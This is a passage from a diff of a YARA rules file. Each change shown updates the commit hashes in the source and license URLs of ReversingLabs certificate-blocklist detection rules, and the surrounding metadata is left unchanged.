+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c4aa22241ef72d454db4ec0fb0933abfa7b1d8d1029b45410475832cda4a2af4"
 		score = 75
 		quality = 90
@@ -15556,8 +15609,8 @@ rule REVERSINGLABS_Cert_Blocklist_05634456Dbedb3556Ca8415E64815C5D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10570-L10586"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10570-L10586"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f5941c74821c0cd76633393d0346a9de2c7bccc666dc20b34c5b4d733faefc8f"
 		score = 75
 		quality = 90
@@ -15581,8 +15634,8 @@ rule REVERSINGLABS_Cert_Blocklist_2E07A8D6E3B25Ae010C8Ed2C4Ab0Fb37 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10588-L10604"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10588-L10604"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "bad2144c9cde02a75fa968e3c24178f3ba73b0addb2b4967f24733b933e0eeb6"
 		score = 75
 		quality = 90
@@ -15606,8 +15659,8 @@ rule REVERSINGLABS_Cert_Blocklist_30B4Eeebd88Fd205Acc8577Bbaed8655 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10606-L10622"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10606-L10622"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "673ec5a1cacb9a7be101a4a533baf5a1eab4e6dd8721c69e56636701c5303c72"
 		score = 75
 		quality = 90
@@ -15631,8 +15684,8 @@ rule REVERSINGLABS_Cert_Blocklist_B3391A6C1B3C6836533959E2384Ab4Ca : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10624-L10642"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10624-L10642"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "38e38acfbfbf63b7179d2f8656f70224afa9269a7bdecd10ccbbbd92a6a216d3"
 		score = 75
 		quality = 90
@@ -15656,8 +15709,8 @@ rule REVERSINGLABS_Cert_Blocklist_05D50A0E09Bb9A836Ffb90A3 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10644-L10660"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10644-L10660"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1bd1960cd6dd8bf83472dc2b1809b84ceb3db68a5e6c3ba68f28ad922230b2ed"
 		score = 75
 		quality = 90
@@ -15681,8 +15734,8 @@ rule REVERSINGLABS_Cert_Blocklist_0A2787Fbb4627C91611573E323584113 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10662-L10678"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10662-L10678"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "efa352beafb56b95a89554bc8929f8e01a4da46eef1f6cf8a1487a2a06bc1b3e"
 		score = 75
 		quality = 90
@@ -15706,8 +15759,8 @@ rule REVERSINGLABS_Cert_Blocklist_1D36C4F439D651503589318F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10680-L10696"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10680-L10696"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "73dc3c01041d50100a8d5519afe1a80f470c30175f9ad1bf76ac287ac199a959"
 		score = 75
 		quality = 90
@@ -15731,8 +15784,8 @@ rule REVERSINGLABS_Cert_Blocklist_26F855A25890B749578F13E4B9459768 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10698-L10714"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10698-L10714"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "35bfa39ef8f03d10af884f288278ea6ad3aff31cbae111057c2b619c6dc0a752"
 		score = 75
 		quality = 90
@@ -15756,8 +15809,8 @@ rule REVERSINGLABS_Cert_Blocklist_0F1Ae2239Bb96C5Aef49D0Ae50266912 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10716-L10732"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10716-L10732"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4f88df4fc2f4cd89aa177ce09caab3e2660267ae883f7ab54c22a9ba1657bad0"
 		score = 75
 		quality = 90
@@ -15781,8 +15834,8 @@ rule REVERSINGLABS_Cert_Blocklist_1Deea179F5757Fe529043577762419Df : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10734-L10750"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10734-L10750"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "67c3d3496caf54ca0b1afc4d1dcc902e2f3632ac6708f85e163d427b567d098f"
 		score = 75
 		quality = 90
@@ -15806,8 +15859,8 @@ rule REVERSINGLABS_Cert_Blocklist_5B1F9Ec88D185631Ab032Dbfd5166C0D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10752-L10768"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10752-L10768"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "dec9d43c6911deb5f35c45692bfd6ef47f85d955f5e59041e58a1f0d2fc306e3"
 		score = 75
 		quality = 90
@@ -15831,8 +15884,8 @@ rule REVERSINGLABS_Cert_Blocklist_58Af00Ce542760Fc116B41Fa92E18589 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10770-L10786"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10770-L10786"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0ff773d252e5e0402171ae15d7ab43bcfd313eb8c326ed5f128a89ec43386a52"
 		score = 75
 		quality = 90
@@ -15856,8 +15909,8 @@ rule REVERSINGLABS_Cert_Blocklist_25Ba18A267D6D8E08Ebc6E2457D58D1E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10788-L10804"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10788-L10804"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "174fe170c26a8197486e7b390d9fce4da61fb68ee5dc9486d43dbeb3cf659c3a"
 		score = 75
 		quality = 90
@@ -15881,8 +15934,8 @@ rule REVERSINGLABS_Cert_Blocklist_12Df5Ff3460979Cec1288D874A9Fbf83 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10806-L10822"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10806-L10822"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3d4b5e56962d04bc35451eeab4c1870c8653c9afcbb28dc6bad7cfb1711e9df1"
 		score = 75
 		quality = 90
@@ -15906,8 +15959,8 @@ rule REVERSINGLABS_Cert_Blocklist_Df2547B2Cab5689A81D61De80Eaaa3A2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10824-L10842"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10824-L10842"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "cde89ae5b77ff6833fe642bdd74e81763ef068e31c07e7881906e4e4a5939942"
 		score = 75
 		quality = 90
@@ -15931,8 +15984,8 @@ rule REVERSINGLABS_Cert_Blocklist_28B691272719B1Ee : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10844-L10860"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10844-L10860"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0bd973f415b7cfa0858c705c4486da9f181c7259af01d1cff486fb6b8e8e775b"
 		score = 75
 		quality = 90
@@ -15956,8 +16009,8 @@ rule REVERSINGLABS_Cert_Blocklist_1C897216E58E83Cbe74Ad03284E1Fb82 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10862-L10878"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10862-L10878"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6b3b2708d3a442fa6425e60ae900c94fc22fbfdb47f290ff56e9d349d99fd85f"
 		score = 75
 		quality = 90
@@ -15981,8 +16034,8 @@ rule REVERSINGLABS_Cert_Blocklist_5A364C4957D93406F76321C2316F42F0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10880-L10896"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10880-L10896"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "fe3a2b906debb3f03e6a403829fca02c751754e9a02442a962c66defb84aed83"
 		score = 75
 		quality = 90
@@ -16006,8 +16059,8 @@ rule REVERSINGLABS_Cert_Blocklist_E7E7F7180666546Ce7A8Da32119F5Ce1 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10898-L10916"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10898-L10916"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "940f6508208998593f309ffeeeda20ab475d427c952a14871b6e58e17d2a4c85"
 		score = 75
 		quality = 90
@@ -16031,8 +16084,8 @@ rule REVERSINGLABS_Cert_Blocklist_062B2827500C5Df35A83F661B3Af5Dd3 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10918-L10934"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10918-L10934"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4edc263b08b21428b5f2f4f14f9582c0f96f79cb49fbba563c103bf8bb2037a6"
 		score = 75
 		quality = 90
@@ -16056,8 +16109,8 @@ rule REVERSINGLABS_Cert_Blocklist_7Bf27695Fd20B588F2B2F173B6Caf2Ba : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10936-L10952"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10936-L10952"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "94d8739761b6a8ee91550be47432b046609b076aab6e57996de123a0fcaba73e"
 		score = 75
 		quality = 90
@@ -16081,8 +16134,8 @@ rule REVERSINGLABS_Cert_Blocklist_1B248C8508042D36Bbd5D92D189C61D8 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10954-L10970"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10954-L10970"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2c063d0878a8bf6cd637e1dac2cb9164beb52c951e01858a7c3c9c4c1a853f54"
 		score = 75
 		quality = 90
@@ -16106,8 +16159,8 @@ rule REVERSINGLABS_Cert_Blocklist_032660Ee1D49Ad35086027473E2614E5E724 : INFO FI
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10972-L10988"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10972-L10988"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8d1435d2fa70db12cde2f9098e35ca1737f5aac36bac91329b28f03aad090e90"
 		score = 75
 		quality = 90
@@ -16131,8 +16184,8 @@ rule REVERSINGLABS_Cert_Blocklist_043052956E1E6Dbd5F6Ae3D8B82Cad2A2Ed8 : INFO FI
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L10990-L11006"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L10990-L11006"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c29fb109c741437a3739f1c42aadace8f612ef1e3ea90e3e2bdd8a92c85e766a"
 		score = 75
 		quality = 90
@@ -16156,8 +16209,8 @@ rule REVERSINGLABS_Cert_Blocklist_Dbc03Ca7E6Ae6Db6 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11008-L11026"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11008-L11026"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0077b9c46ddd98a4929878ba4ba9476ed7fb1d7bf6e30c3ae0f950445d01e8f3"
 		score = 75
 		quality = 90
@@ -16181,8 +16234,8 @@ rule REVERSINGLABS_Cert_Blocklist_7D27332C3Cb3A382A4Fd232C5C66A2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11028-L11044"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11028-L11044"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c1c50015db7f97b530819b40e2578463a6021bfff8e2582858a4c3fbd1a9b9bc"
 		score = 75
 		quality = 90
@@ -16206,8 +16259,8 @@ rule REVERSINGLABS_Cert_Blocklist_82D224323Efa65060B641F51Fadfef02 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11046-L11064"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11046-L11064"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "9d361c91ed24b6c20a7b35957e26f208ce8e0a3d79c5a6fed6278acd826ccf49"
 		score = 75
 		quality = 90
@@ -16231,8 +16284,8 @@ rule REVERSINGLABS_Cert_Blocklist_890570B6B0E2868A53Be3F8F904A88Ee : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11066-L11084"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11066-L11084"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "fb7af8ec09da2fecaaaed8c7770966f11ef8a44a131553a9d1412387db2fb7ea"
 		score = 75
 		quality = 90
@@ -16256,8 +16309,8 @@ rule REVERSINGLABS_Cert_Blocklist_2642Fe865F7566Ce3123A5142C207094 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L11086-L11102"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L11086-L11102"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1ad4adf8b05a6cc065d289e6963480d37a92712a318744a30a16aad22380f238"
 		score = 75
 		quality = 90
@@ -16281,8 +16334,8 @@ rule REVERSINGLABS_Cert_Blocklist_4A2E337Fff23E5B2A1321Ffde56D1759 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
